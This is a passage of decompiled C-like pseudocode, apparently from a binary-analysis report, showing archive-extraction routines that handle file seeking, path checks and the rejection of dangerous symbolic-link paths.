																																goto L207;
																															}
																															_t920 = _t904 != 0;
																															__eflags = _t904 != 0;
																															if(_t904 != 0) {
																																goto L222;
																															}
																															_push( *((intOrPtr*)(_t1374 - 0x70)));
																															goto L248;
																														} else {
																															_t1365 = _t1371 + 0xac;
																															_t830 = E01232A8C(_t1371 + 0xac, _t1374 - 0x38);
																															__eflags =  *(_t1374 - 0x39);
																															if( *(_t1374 - 0x39) != 0) {
																																_t830 = E01234DBB( *_t1365);
																															}
																															__eflags =  *(_t1371 + 0x19c);
																															if( *(_t1371 + 0x19c) != 0) {
																																L259:
																																E01232A8C(_t1371 + 0xac, _t1374 - 0x38);
																																__eflags =  *(_t1374 - 0x39);
																																if( *(_t1374 - 0x39) != 0) {
																																	L351:
																																	_t789 = E01231ABD(E01240E48(_t1374 - 0x14,  *((intOrPtr*)(_t1371 + 0x100))),  *((intOrPtr*)(_t1374 - 0x38)));
																																	 *((char*)(_t1374 - 4)) = 0xa;
																																	E01231ABD(_t789,  *((intOrPtr*)(_t1374 - 0x48)));
																																	goto L117;
																																}
																																__eflags =  *(_t1371 + 0x19c);
																																if( *(_t1371 + 0x19c) == 0) {
																																	L288:
																																	__eflags =  *(_t1371 + 0x184);
																																	if( *(_t1371 + 0x184) == 0) {
																																		L299:
																																		_push(0x20);
																																		_t791 = E01231A96();
																																		__eflags = _t791;
																																		if(_t791 == 0) {
																																			_t1358 = 0;
																																			__eflags = 0;
																																		} else {
																																			 *((intOrPtr*)(_t791 + 4)) = 0;
																																			 *(_t791 + 8) =  *(_t791 + 8) | 0xffffffff;
																																			 *_t791 = 0x1268ecc;
																																			_t1358 = _t791;
																																		}
																																		__eflags = _t1358;
																																		 *(_t1374 - 0x28) = _t1358;
																																		 *(_t1371 + 0xfc) = _t1358;
																																		 *(_t1374 - 0x4c) = _t1358;
																																		if(_t1358 != 0) {
																																			 *((intOrPtr*)( *_t1358 + 4))(_t1358);
																																		}
																																		_t792 =  *(_t1371 + 0xfc);
																																		 *((char*)(_t1374 - 4)) = 0x1f;
																																		asm("sbb edx, edx");
																																		 *((intOrPtr*)(_t792 + 0x18)) = 0;
																																		 *((intOrPtr*)(_t792 + 0x1c)) = 0;
																																		__eflags = E01236985( *((intOrPtr*)(_t1374 - 0x38)), ( ~( *(_t1371 + 0xc0)) & 0x00000002) + 2);
																																		if(__eflags != 0) {
																																			__eflags =  *(_t1371 + 0x22);
																																			if( *(_t1371 + 0x22) == 0) {
																																				L337:
																																				__eflags =  *(_t1374 - 0x2a);
																																				if( *(_t1374 - 0x2a) != 0) {
																																					__eflags =  *(_t1371 + 0x9c);
																																					if(__eflags == 0) {
																																						 *(_t1374 - 0xb0) =  *(_t1374 + 0xc);
																																						E012329BC(_t1374 - 0xac, __eflags, _t1374 - 0x38);
																																						 *(_t1374 + 0xc) =  *(_t1371 + 0x1a8);
																																						 *((char*)(_t1374 - 4)) = 0x20;
																																						_t809 = E01240661(_t1374 - 0xb0);
																																						__eflags =  *(_t1374 + 0xc) -  *(_t1371 + 0x1a8);
																																						if( *(_t1374 + 0xc) ==  *(_t1371 + 0x1a8)) {
																																							_t695 =  *((intOrPtr*)( *((intOrPtr*)(_t1371 + 0x1a4)) + _t809 * 4)) + 4; // 0x4
																																							_t809 = E01232A8C(_t695, _t1374 - 0x38);
																																						}
																																						 *((char*)(_t1374 - 4)) = 0x1f;
																																						E01231ABD(_t809,  *((intOrPtr*)(_t1374 - 0xac)));
																																						_t1358 =  *(_t1374 - 0x28);
																																					}
																																				}
																																				__eflags =  *(_t1371 + 0xc0);
																																				if( *(_t1371 + 0xc0) == 0) {
																																					L349:
																																					E01240E48(_t1371 + 0x100, _t1358);
																																					__eflags = _t1358;
																																					 *((char*)(_t1374 - 4)) = 0xf;
																																					if(_t1358 != 0) {
																																						 *((intOrPtr*)( *_t1358 + 8))(_t1358);
																																					}
																																					goto L351;
																																				} else {
																																					_t797 =  *(_t1371 + 0xfc);
																																					_t798 =  *((intOrPtr*)( *_t797 + 0x10))(_t797,  *(_t1371 + 0xb8),  *((intOrPtr*)(_t1371 + 0xbc)), 0, 0);
																																					__eflags = _t798;
																																					 *(_t1374 + 0xc) = _t798;
																																					if(_t798 == 0) {
																																						goto L349;
																																					}
																																					__eflags = _t1358;
																																					 *((char*)(_t1374 - 4)) = 0xf;
																																					if(_t1358 != 0) {
																																						_t798 =  *((intOrPtr*)( *_t1358 + 8))(_t1358);
																																					}
																																					E01231ABD(E01231ABD(_t798,  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																					_t801 =  *(_t1374 - 0x14);
																																					__eflags = _t801;
																																					 *((char*)(_t1374 - 4)) = 0;
																																					if(_t801 != 0) {
																																						 *((intOrPtr*)( *_t801 + 8))(_t801);
																																					}
																																					_t736 =  *(_t1374 + 0xc);
																																					goto L353;
																																				}
																																			}
																																			__eflags =  *(_t1371 + 0xc0);
																																			if( *(_t1371 + 0xc0) != 0) {
																																				goto L337;
																																			}
																																			__eflags =  *(_t1371 + 0xf8);
																																			if( *(_t1371 + 0xf8) == 0) {
																																				goto L337;
																																			}
																																			_t812 =  *(_t1371 + 0xf4);
																																			_t1140 =  *(_t1371 + 0xf0);
																																			__eflags = _t812;
																																			if(_t812 > 0) {
																																				L323:
																																				_t813 = E01236A6E( *(_t1371 + 0xfc) + 8, _t1140, _t812); // executed
																																				__eflags = _t813;
																																				 *((char*)(_t1371 + 0xf9)) = _t813;
																																				if(__eflags != 0) {
																																					L330:
																																					__eflags = E012365B1();
																																					if(__eflags != 0) {
																																						goto L337;
																																					}
																																					_push(_t1374 - 0x38);
																																					_push("Can not seek to begin of file");
																																					_t816 = E0123E2D7(_t1371, __eflags);
																																					__eflags = _t816;
																																					 *(_t1374 + 8) = _t816;
																																					if(_t816 == 0) {
																																						goto L337;
																																					}
																																					__eflags = _t1358;
																																					 *((char*)(_t1374 - 4)) = 0xf;
																																					if(_t1358 != 0) {
																																						_t816 =  *((intOrPtr*)( *_t1358 + 8))(_t1358);
																																					}
																																					E01231ABD(E01231ABD(_t816,  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																					_t819 =  *(_t1374 - 0x14);
																																					__eflags = _t819;
																																					 *((char*)(_t1374 - 4)) = 0;
																																					if(_t819 != 0) {
																																						 *((intOrPtr*)( *_t819 + 8))(_t819);
																																					}
																																					_t736 =  *(_t1374 + 8);
																																					goto L353;
																																				}
																																				_push(_t1374 - 0x38);
																																				_push( *0x1268cd0);
																																				_t823 = E0123E2D7(_t1371, __eflags);
																																				__eflags = _t823;
																																				 *(_t1374 + 8) = _t823;
																																				if(_t823 == 0) {
																																					goto L330;
																																				}
																																				__eflags = _t1358;
																																				 *((char*)(_t1374 - 4)) = 0xf;
																																				if(_t1358 != 0) {
																																					_t823 =  *((intOrPtr*)( *_t1358 + 8))(_t1358);
																																				}
																																				E01231ABD(E01231ABD(_t823,  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																				_t826 =  *(_t1374 - 0x14);
																																				__eflags = _t826;
																																				 *((char*)(_t1374 - 4)) = 0;
																																				if(_t826 != 0) {
																																					 *((intOrPtr*)( *_t826 + 8))(_t826);
																																				}
																																				_t736 =  *(_t1374 + 8);
																																				goto L353;
																																			}
																																			__eflags = _t1140 - 0x1000;
																																			if(_t1140 <= 0x1000) {
																																				goto L337;
																																			}
																																			goto L323;
																																		} else {
																																			_push(_t1374 - 0x38);
																																			_push( *0x1268ccc);
																																			_t1373 = E0123E2D7(_t1371, __eflags);
																																			 *((char*)(_t1374 - 4)) = 0xf;
																																			__eflags = _t1373;
																																			if(_t1373 == 0) {
																																				__eflags = _t1358;
																																				if(_t1358 != 0) {
																																					_t830 =  *((intOrPtr*)( *_t1358 + 8))(_t1358);
																																				}
																																				goto L196;
																																			}
																																			__eflags = _t1358;
																																			if(_t1358 != 0) {
																																				_t830 =  *((intOrPtr*)( *_t1358 + 8))(_t1358);
																																			}
																																			_push( *((intOrPtr*)(_t1374 - 0x38)));
																																			L312:
																																			E01231ABD(E01231ABD(_t830),  *((intOrPtr*)(_t1374 - 0x48)));
																																			L313:
																																			_t838 =  *(_t1374 - 0x14);
																																			 *((char*)(_t1374 - 4)) = 0;
																																			__eflags = _t838;
																																			if(_t838 != 0) {
																																				 *((intOrPtr*)( *_t838 + 8))(_t838);
																																			}
																																			goto L315;
																																		}
																																	}
																																	__eflags =  *(_t1371 + 0x9c);
																																	if( *(_t1371 + 0x9c) != 0) {
																																		goto L299;
																																	}
																																	_push(_t1374 + 0xb);
																																	_push(_t1374 - 0x24);
																																	_t1356 = E0123D7A6( *(_t1374 - 0x54),  *(_t1374 + 0xc));
																																	__eflags = _t1356;
																																	if(_t1356 == 0) {
																																		__eflags =  *(_t1374 + 0xb);
																																		if( *(_t1374 + 0xb) == 0) {
																																			goto L299;
																																		}
																																		_push(_t1374 - 0x24);
																																		_t847 = E01240444(_t1371 + 0x180);
																																		__eflags = _t847;
																																		if(_t847 < 0) {
																																			goto L299;
																																		}
																																		_t1360 =  *((intOrPtr*)( *((intOrPtr*)(_t1371 + 0x18c)) + _t847 * 4));
																																		__eflags =  *(_t1360 + 4);
																																		if( *(_t1360 + 4) != 0) {
																																			__eflags = E01234F0C( *((intOrPtr*)(_t1374 - 0x38)),  *_t1360);
																																			if(__eflags != 0) {
																																				goto L351;
																																			}
																																			_push(_t1360);
																																			_push(_t1374 - 0x38);
																																			_push( *0x1268cc4);
																																			_t830 = E0123E368(_t1371, __eflags);
																																			_push( *((intOrPtr*)(_t1374 - 0x38)));
																																			_t1373 = _t830;
																																			__eflags = _t1373;
																																			if(_t1373 != 0) {
																																				goto L312;
																																			}
																																			goto L197;
																																		}
																																		E01232A8C(_t1360, _t1374 - 0x38);
																																		goto L299;
																																	}
																																	E01231ABD(E01231ABD(_t845,  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																	goto L292;
																																}
																																E012328E9(_t1374 - 0x60);
																																__eflags =  *(_t1374 + 0xb);
																																 *((char*)(_t1374 - 4)) = 0x1a;
																																if(__eflags != 0) {
																																	_t888 = E0123FC60(_t1374 - 0x20, _t1371 + 0x6c, __eflags);
																																	 *((char*)(_t1374 - 4)) = 0x1b;
																																	_t889 = E01232A8C(_t1374 - 0x60, _t888);
																																	 *((char*)(_t1374 - 4)) = 0x1a;
																																	E01231ABD(_t889,  *((intOrPtr*)(_t1374 - 0x20)));
																																}
																																_t1361 = _t1371 + 0x198;
																																E01232C71(_t1374 - 0x60, __eflags, _t1371 + 0x198);
																																__eflags = E0123E3E2(_t1374 - 0x60);
																																if(__eflags != 0) {
																																	E012328E9(_t1374 - 0x20);
																																	__eflags =  *(_t1374 - 0x29);
																																	 *((char*)(_t1374 - 4)) = 0x1c;
																																	if(__eflags != 0) {
																																		L269:
																																		_push(_t1374 - 0x20);
																																		__eflags = E01237C2F( *((intOrPtr*)(_t1371 + 0x48)),  *((intOrPtr*)(_t1374 - 0x60)), __eflags);
																																		if(__eflags != 0) {
																																			L271:
																																			__eflags =  *(_t1374 - 0x1c);
																																			if( *(_t1374 - 0x1c) == 0) {
																																				L286:
																																				_t860 = E01231ABD(_t859,  *((intOrPtr*)(_t1374 - 0x20)));
																																				goto L287;
																																			}
																																			__eflags =  *(_t1374 - 0x29);
																																			if( *(_t1374 - 0x29) == 0) {
																																				__eflags =  *(_t1371 + 0x1a);
																																				if( *(_t1371 + 0x1a) == 0) {
																																					goto L286;
																																				}
																																				 *((intOrPtr*)(_t1374 - 0x50)) = 0;
																																				 *(_t1374 - 0x4c) = 0;
																																				__eflags =  *(_t1374 - 0x3a);
																																				 *((char*)(_t1374 - 4)) = 0x1d;
																																				__eflags = E01236ABB(0, _t1374 - 0x50,  *((intOrPtr*)(_t1374 - 0x20)), _t859 & 0xffffff00 |  *(_t1374 - 0x3a) == 0x00000000);
																																				if(__eflags == 0) {
																																					L285:
																																					_t859 = E01231ABD(_t863,  *((intOrPtr*)(_t1374 - 0x50)));
																																					goto L286;
																																				}
																																				E0123FB2F(_t1374 - 0x80, __eflags);
																																				 *((char*)(_t1374 - 4)) = 0x1e;
																																				 *(_t1374 + 8) = 0;
																																				__eflags = E01236C0B(_t1374 - 0x80,  *((intOrPtr*)(_t1374 - 0x50)),  *(_t1374 - 0x4c), _t1374 + 8);
																																				if(__eflags != 0) {
																																					_push( *(_t1374 - 0x4c));
																																					_push( *((intOrPtr*)(_t1374 - 0x50)));
																																					__eflags = E01236EEA( *((intOrPtr*)(_t1374 - 0x38)),  *(_t1371 + 0x9e), __eflags);
																																					if(__eflags != 0) {
																																						L284:
																																						 *((char*)(_t1374 - 4)) = 0x1d;
																																						_t863 = E0125C31B(_t1374 - 0x80);
																																						goto L285;
																																					}
																																					_push(_t1374 - 0x38);
																																					_push( *0x1268cc8);
																																					_t869 = E0123E2D7(_t1371, __eflags);
																																					L280:
																																					_t1356 = _t869;
																																					__eflags = _t1356;
																																					if(_t1356 == 0) {
																																						goto L284;
																																					}
																																					 *((char*)(_t1374 - 4)) = 0x1d;
																																					E01231ABD(E01231ABD(E01231ABD(E01231ABD(E01231ABD(E0125C31B(_t1374 - 0x80),  *((intOrPtr*)(_t1374 - 0x50))),  *((intOrPtr*)(_t1374 - 0x20))),  *((intOrPtr*)(_t1374 - 0x60))),  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																					goto L292;
																																				}
																																				_push(_t1371 + 0x6c);
																																				_push("Internal error for symbolic link file");
																																				_t869 = E0123E26A(_t1371, __eflags);
																																				goto L280;
																																			}
																																			__eflags = E01234F0C( *((intOrPtr*)(_t1374 - 0x38)),  *((intOrPtr*)(_t1374 - 0x20)));
																																			if(__eflags != 0) {
																																				goto L286;
																																			}
																																			_push(_t1374 - 0x20);
																																			_push(_t1374 - 0x38);
																																			_push( *0x1268cc4);
																																			_t1356 = E0123E368(_t1371, __eflags);
																																			__eflags = _t1356;
																																			if(_t1356 == 0) {
																																				goto L286;
																																			}
																																			L275:
																																			_t879 = E01231ABD(_t859,  *((intOrPtr*)(_t1374 - 0x20)));
																																			_push( *((intOrPtr*)(_t1374 - 0x60)));
																																			L207:
																																			E01231ABD(E01231ABD(E01231ABD(_t879),  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																			goto L292;
																																		}
																																		_push(_t1374 - 0x60);
																																		_push("Incorrect path");
																																		_t1356 = E0123E26A(_t1371, __eflags);
																																		__eflags = _t1356;
																																		if(_t1356 != 0) {
																																			goto L275;
																																		}
																																		goto L271;
																																	}
																																	__eflags =  *(_t1374 + 0xb);
																																	if(__eflags == 0) {
																																		goto L269;
																																	}
																																	_t859 = E01232A8C(_t1374 - 0x20, _t1361);
																																	goto L271;
																																} else {
																																	_push(_t1374 - 0x60);
																																	_push("Dangerous link path was ignored");
																																	_t1356 = E0123E26A(_t1371, __eflags);
																																	__eflags = _t1356;
																																	if(_t1356 == 0) {
																																		L287:
																																		 *((char*)(_t1374 - 4)) = 0xf;
																																		E01231ABD(_t860,  *((intOrPtr*)(_t1374 - 0x60)));
																																		__eflags =  *(_t1371 + 0x19c);
																																		if( *(_t1371 + 0x19c) != 0) {
																																			goto L351;
																																		}
																																		goto L288;
																																	}
																																	E01231ABD(E01231ABD(E01231ABD(_t860,  *((intOrPtr*)(_t1374 - 0x60))),  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																	goto L292;
																																}
																															} else {
																																L196:
																																_push( *((intOrPtr*)(_t1374 - 0x38)));
																																L197:
																																E01231ABD(E01231ABD(_t830),  *((intOrPtr*)(_t1374 - 0x48)));
																																L198:
																																_t833 =  *(_t1374 - 0x14);
																																 *((char*)(_t1374 - 4)) = 0;
																																__eflags = _t833;
																																if(_t833 != 0) {
																																	 *((intOrPtr*)( *_t833 + 8))(_t833);
																																}
																																goto L125;
																															}
																														}
																													}
																													__eflags = E012373B9( *((intOrPtr*)(_t1374 - 0x48)));
																													if(__eflags != 0) {
																														goto L188;
																													}
																													goto L187;
																												}
																												__eflags =  *(_t1371 + 0x9e);
																												if( *(_t1371 + 0x9e) != 0) {
																													L167:
																													__eflags =  *(_t1357 + 4);
																													if(__eflags == 0) {
																														goto L185;
																													}
																													E012328E9(_t1374 - 0x20);
																													 *((char*)(_t1374 - 4)) = 0xe;
																													_t980 = E0123E104(_t1371, _t1357, _t1374 - 0x20);
																													__eflags =  *(_t1371 + 0x9e);
																													if(__eflags == 0) {
																														L184:
																														 *((char*)(_t1374 - 4)) = 0xd;
																														E01231ABD(_t980,  *((intOrPtr*)(_t1374 - 0x20)));
																														goto L185;
																													}
																													_t1367 = E012404FD(_t1371 + 0x144);
																													 *_t1367 =  *((intOrPtr*)(_t1371 + 0xc8));
																													 *((intOrPtr*)(_t1367 + 4)) =  *((intOrPtr*)(_t1371 + 0xcc));
																													__eflags =  *(_t1371 + 0xc2);
																													if( *(_t1371 + 0xc2) == 0) {
																														L172:
																														__eflags = 0;
																														L173:
																														 *((char*)(_t1367 + 0x18)) = 0;
																														 *((intOrPtr*)(_t1367 + 8)) =  *((intOrPtr*)(_t1371 + 0xd0));
																														 *((intOrPtr*)(_t1367 + 0xc)) =  *((intOrPtr*)(_t1371 + 0xd4));
																														__eflags =  *(_t1371 + 0xc3);
																														if( *(_t1371 + 0xc3) == 0) {
																															L176:
																															__eflags = 0;
																															L177:
																															 *((char*)(_t1367 + 0x19)) = 0;
																															 *((char*)(_t1367 + 0x1a)) = 0;
																															__eflags =  *(_t1371 + 0xc4);
																															if( *(_t1371 + 0xc4) == 0) {
																																L183:
																																_t370 = _t1367 + 0x1c; // 0x1c
																																E01232A8C(_t370, _t1374 - 0x20);
																																_t980 = E012402A0(_t1367);
																																goto L184;
																															}
																															__eflags =  *(_t1371 + 0xe6);
																															if( *(_t1371 + 0xe6) == 0) {
																																_t991 =  *(_t1371 + 0x14);
																																__eflags = _t991[0x29];
																																if(_t991[0x29] == 0) {
																																	goto L183;
																																}
																																 *(_t1367 + 0x10) = _t991[0x27];
																																_t992 = _t991[0x28];
																																L182:
																																 *(_t1367 + 0x14) = _t992;
																																 *((char*)(_t1367 + 0x1a)) = 1;
																																goto L183;
																															}
																															 *(_t1367 + 0x10) =  *(_t1371 + 0xd8);
																															_t992 =  *(_t1371 + 0xdc);
																															goto L182;
																														}
																														__eflags =  *(_t1371 + 0xe5);
																														if( *(_t1371 + 0xe5) == 0) {
																															goto L176;
																														}
																														_push(1);
																														_pop(0);
																														goto L177;
																													}
																													__eflags =  *(_t1371 + 0xe4);
																													if( *(_t1371 + 0xe4) == 0) {
																														goto L172;
																													}
																													_push(1);
																													_pop(0);
																													goto L173;
																												}
																												__eflags =  *(_t1357 + 4);
																												if(__eflags == 0) {
																													goto L185;
																												}
																												E012344FC(_t1357);
																												goto L167;
																											}
																											E012329BC(_t1374 - 0x20, __eflags, _t1371 + 0x90);
																											 *((char*)(_t1374 - 4)) = 0xc;
																											E01249ED7(_t1374 - 0x20);
																											_t998 =  *(_t1357 + 4);
																											 *(_t1374 - 0x2a) = 1;
																											__eflags = _t998;
																											 *(_t1374 - 0x4c) = _t998;
																											if(_t998 != 0) {
																												__eflags =  *(_t1371 + 0x54) - 3;
																												if( *(_t1371 + 0x54) == 3) {
																													_t1010 = E01233EC1(_t1357);
																													__eflags = _t1010 -  *(_t1374 - 0x4c);
																													if(_t1010 ==  *(_t1374 - 0x4c)) {
																														E012403AC(_t1357);
																													}
																												}
																												L160:
																												__eflags =  *(_t1374 - 0x2a);
																												_t1000 =  *( *_t1357 +  *(_t1357 + 4) * 4 - 4);
																												 *(_t1374 - 0x28) = _t1000;
																												if(__eflags != 0) {
																													 *(_t1371 + 0x20) = ((_t1000 & 0xffffff00 |  *(_t1371 + 0x20) == 0x00000000) - 0x00000001 & 0x00000025) + 0x3a;
																													E01231089( *(_t1374 - 0x28), ((_t1000 & 0xffffff00 |  *(_t1371 + 0x20) == 0x00000000) - 0x00000001 & 0x00000025) + 0x0000003a & 0x000000ff);
																												}
																												_t1002 = E01232C71( *(_t1374 - 0x28), __eflags, _t1374 - 0x20);
																												 *((char*)(_t1374 - 4)) = 0xa;
																												E01231ABD(_t1002,  *((intOrPtr*)(_t1374 - 0x20)));
																												goto L163;
																											}
																											E012403AC(_t1357);
																											__eflags =  *(_t1371 + 0x10d);
																											if( *(_t1371 + 0x10d) != 0) {
																												L156:
																												 *(_t1374 - 0x2a) = 0;
																												goto L160;
																											}
																											__eflags =  *(_t1371 + 0x54) - 4;
																											if( *(_t1371 + 0x54) != 4) {
																												goto L160;
																											}
																											goto L156;
																										}
																										__eflags =  *(_t1371 + 0x7c);
																										_t1357 = _t1371 + 0x78;
																										if( *(_t1371 + 0x7c) != 0) {
																											goto L151;
																										}
																										__eflags =  *(_t1371 + 0x10d);
																										if( *(_t1371 + 0x10d) != 0) {
																											goto L152;
																										}
																										__eflags =  *(_t1371 + 0x54) - 4;
																										if( *(_t1371 + 0x54) == 4) {
																											goto L152;
																										}
																										goto L151;
																									}
																									_t1013 =  *(_t1374 - 0x14);
																									 *((char*)(_t1374 - 4)) = 0;
																									__eflags = _t1013;
																									if(_t1013 != 0) {
																										 *((intOrPtr*)( *_t1013 + 8))(_t1013);
																									}
																									_t736 =  *(_t1374 - 0x28);
																									goto L353;
																								}
																								_t1015 =  *(_t1374 - 0x14);
																								 *((char*)(_t1374 - 4)) = 0;
																								__eflags = _t1015;
																								if(_t1015 != 0) {
																									 *((intOrPtr*)( *_t1015 + 8))(_t1015);
																								}
																								_t736 =  *(_t1374 - 0x28);
																								goto L353;
																							}
																							_t1017 =  *(_t1374 - 0x14);
																							 *((char*)(_t1374 - 4)) = 0;
																							__eflags = _t1017;
																							if(_t1017 != 0) {
																								 *((intOrPtr*)( *_t1017 + 8))(_t1017);
																							}
																							_t736 =  *(_t1374 - 0x28);
																							goto L353;
																						}
																						 *((char*)(_t1371 + 0xe7)) = 1;
																						 *(_t1371 + 0xe0) =  *(_t1374 - 0x1c);
																						goto L134;
																					}
																					E01238173(_t1374 - 0x24);
																					_t1021 =  *(_t1374 - 0x14);
																					 *((char*)(_t1374 - 4)) = 0;
																					__eflags = _t1021;
																					if(_t1021 != 0) {
																						 *((intOrPtr*)( *_t1021 + 8))(_t1021);
																					}
																					_t736 =  *(_t1374 - 0x28);
																					goto L353;
																				}
																				_push(0x10);
																				_t1023 = E01231A96();
																				__eflags = _t1023;
																				if(_t1023 == 0) {
																					_t1023 = 0;
																					__eflags = 0;
																				} else {
																					 *((intOrPtr*)(_t1023 + 4)) = 0;
																					 *((intOrPtr*)(_t1023 + 8)) = 0;
																					 *((intOrPtr*)(_t1023 + 0xc)) = 0;
																					 *_t1023 = 0x1268f40;
																				}
																				E01240E48(_t1374 - 0x14, _t1023);
																				goto L117;
																			}
																			__eflags =  *(_t1371 + 0x68);
																			_t1368 = _t1371 + 0x68;
																			if(__eflags == 0) {
																				_push(0x10);
																				_t1034 = E01231A96();
																				__eflags = _t1034;
																				if(_t1034 == 0) {
																					_t1034 = 0;
																					__eflags = 0;
																				} else {
																					 *((intOrPtr*)(_t1034 + 4)) = 0;
																					 *_t1034 = 0x1268f54;
																				}
																				 *(_t1371 + 0x64) = _t1034;
																				E01240E48(_t1368, _t1034);
																			}
																			 *( *(_t1371 + 0x64) + 8) =  *(_t1371 + 0x14);
																			 *( *(_t1371 + 0x64) + 0xc) =  *(_t1374 + 0xc);
																			E0124A270(_t1374 - 0x20, _t1371 + 0x78, __eflags);
																			__eflags =  *(_t1371 + 0x9c);
																			 *((char*)(_t1374 - 4)) = 9;
																			if( *(_t1371 + 0x9c) == 0) {
																				L109:
																				_t1028 =  *(_t1371 + 0x60);
																				__eflags =  *(_t1371 + 0x9e);
																				_t1373 =  *((intOrPtr*)( *_t1028 + 0x10))(_t1028,  *((intOrPtr*)(_t1374 - 0x20)), 0 |  *(_t1371 + 0x9e) != 0x00000000,  *(_t1374 + 0x10),  *(_t1374 + 0x14),  *_t1368);
																				E01231ABD(_t1029,  *((intOrPtr*)(_t1374 - 0x20)));
																				goto L315;
																			} else {
																				__eflags =  *(_t1371 + 0x7c);
																				if( *(_t1371 + 0x7c) != 0) {
																					L107:
																					E01231089(_t1374 - 0x20, 0x3a);
																					L108:
																					E01232C71(_t1374 - 0x20, __eflags, _t1371 + 0x90);
																					goto L109;
																				}
																				__eflags =  *(_t1371 + 0x10d);
																				if(__eflags != 0) {
																					goto L108;
																				}
																				__eflags =  *(_t1371 + 0x54) - 4;
																				if(__eflags == 0) {
																					goto L108;
																				}
																				goto L107;
																			}
																		}
																		__eflags = _t1096 - 1;
																		if(_t1096 <= 1) {
																			_t1273 =  *(_t1371 + 0x114);
																			__eflags = _t1273;
																			if(_t1273 == 0) {
																				goto L95;
																			}
																			__eflags = _t750 - _t1273;
																			if(__eflags < 0) {
																				L90:
																				__eflags =  *(_t1374 + 0x14);
																				if( *(_t1374 + 0x14) != 0) {
																					goto L95;
																				}
																				__eflags =  *(_t1371 + 0x125);
																				if( *(_t1371 + 0x125) != 0) {
																					goto L95;
																				}
																				goto L238;
																			}
																			if(__eflags != 0) {
																				L85:
																				_t1353 = 0;
																				__eflags = 0;
																				while(1) {
																					__eflags = _t1353 -  *(_t1371 + 0x114);
																					if(_t1353 >=  *(_t1371 + 0x114)) {
																						break;
																					}
																					_t1040 = E01233721( *((intOrPtr*)( *((intOrPtr*)( *(_t1371 + 0x78) + _t1353 * 4)))));
																					__eflags = _t1040;
																					if(_t1040 != 0) {
																						goto L90;
																					}
																					_t1353 = _t1353 + 1;
																				}
																				__eflags = 0;
																				if(0 == 0) {
																					_t750 =  *(_t1371 + 0x114);
																					L94:
																					 *(_t1374 - 0x28) = _t750;
																					goto L95;
																				}
																				goto L90;
																			}
																			__eflags =  *(_t1371 + 0x10d);
																			if( *(_t1371 + 0x10d) == 0) {
																				__eflags =  *(_t1371 + 0x9f);
																				if( *(_t1371 + 0x9f) == 0) {
																					goto L90;
																				}
																				goto L85;
																			}
																			__eflags =  *(_t1371 + 0x9c);
																			if( *(_t1371 + 0x9c) != 0) {
																				goto L85;
																			}
																			goto L90;
																		}
																		__eflags = _t1096 - 2;
																		if(_t1096 == 2) {
																			L76:
																			__eflags = _t750;
																			if(_t750 == 0) {
																				goto L95;
																			}
																			_t750 = _t750 - 1;
																			goto L94;
																		}
																		__eflags = _t1096 - 4;
																		if(_t1096 != 4) {
																			goto L95;
																		}
																		__eflags =  *(_t1371 + 0x9c);
																		if( *(_t1371 + 0x9c) != 0) {
																			goto L94;
																		}
																		goto L76;
																	}
																	__eflags =  *(_t1371 + 0x9e);
																	if( *(_t1371 + 0x9e) != 0) {
																		goto L125;
																	}
																	goto L71;
																}
																_t1341 =  *(_t1353 + 4);
																__eflags = _t1341;
																if(_t1341 == 0) {
																	goto L97;
																}
																_t1041 =  *(_t1371 + 0x54);
																_t1277 = 0;
																__eflags = _t1041 - 4;
																if(_t1041 != 4) {
																	L65:
																	__eflags = _t1041 - 2;
																	if(_t1041 == 2) {
																		L67:
																		_t1277 = _t1341 - 1;
																		L68:
																		_push(_t1277);
																		_t1097 = _t1353;
																		goto L96;
																	}
																	__eflags = _t1041 - 4;
																	if(_t1041 != 4) {
																		goto L68;
																	}
																	goto L67;
																}
																__eflags =  *(_t1371 + 0x9c);
																if( *(_t1371 + 0x9c) == 0) {
																	goto L65;
																}
																_t1277 = _t1341;
																goto L68;
															}
															_t1042 = E0123E567(_t1095, __eflags);
															__eflags = _t1042;
															if(_t1042 == 0) {
																goto L125;
															}
															goto L60;
														}
														__eflags =  *(_t1371 + 0x9c);
														if( *(_t1371 + 0x9c) != 0) {
															goto L125;
														}
														goto L58;
													}
													__eflags =  *(_t1374 + 0xb);
													if( *(_t1374 + 0xb) != 0) {
														goto L54;
													}
													__eflags =  *(_t1371 + 0x114);
													if(__eflags == 0) {
														goto L54;
													}
													 *((intOrPtr*)(_t1374 - 0x20)) = 0;
													 *(_t1374 - 0x1c) = 0;
													 *((intOrPtr*)(_t1374 - 0x18)) = 0;
													 *((char*)(_t1374 - 4)) = 7;
													E0123373A(_t1351, _t1374 - 0x20, __eflags);
													_t1369 = 0;
													__eflags = 0;
													while(1) {
														__eflags = _t1369 -  *(_t1371 + 0x114);
														if(_t1369 >=  *(_t1371 + 0x114)) {
															break;
														}
														__eflags = E01233721( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1374 - 0x20)) + _t1369 * 4)))));
														if(__eflags != 0) {
															L53:
															_t1045 = E0124A270(_t1374 - 0x60, _t1374 - 0x20, __eflags);
															 *((char*)(_t1374 - 4)) = 8;
															E01231ABD(E01232A8C(_t1371 + 0x198, _t1045),  *((intOrPtr*)(_t1374 - 0x60)));
															 *((char*)(_t1374 - 4)) = 0;
															E01248B2E(0, _t1374 - 0x20);
															goto L54;
														}
														_t1369 = _t1369 + 1;
													}
													__eflags = 0;
													if(0 == 0) {
														E012403F4(_t1374 - 0x20, _t1369,  *(_t1371 + 0x114));
													}
													goto L53;
												}
												 *(_t1374 + 0xb) = 0;
												_push(_t748);
												L38:
												E01233053(_t1351);
												goto L39;
											}
											 *(_t1374 + 0xb) = 0;
											_push(4);
											goto L38;
										}
										_t1055 =  *(_t1371 + 0x14);
										__eflags = _t1055[2];
										if(_t1055[2] == 0) {
											L35:
											__eflags =  *(_t1371 + 0x19c);
											if( *(_t1371 + 0x19c) == 0) {
												goto L54;
											}
											goto L36;
										}
										_t1056 = _t1055[2];
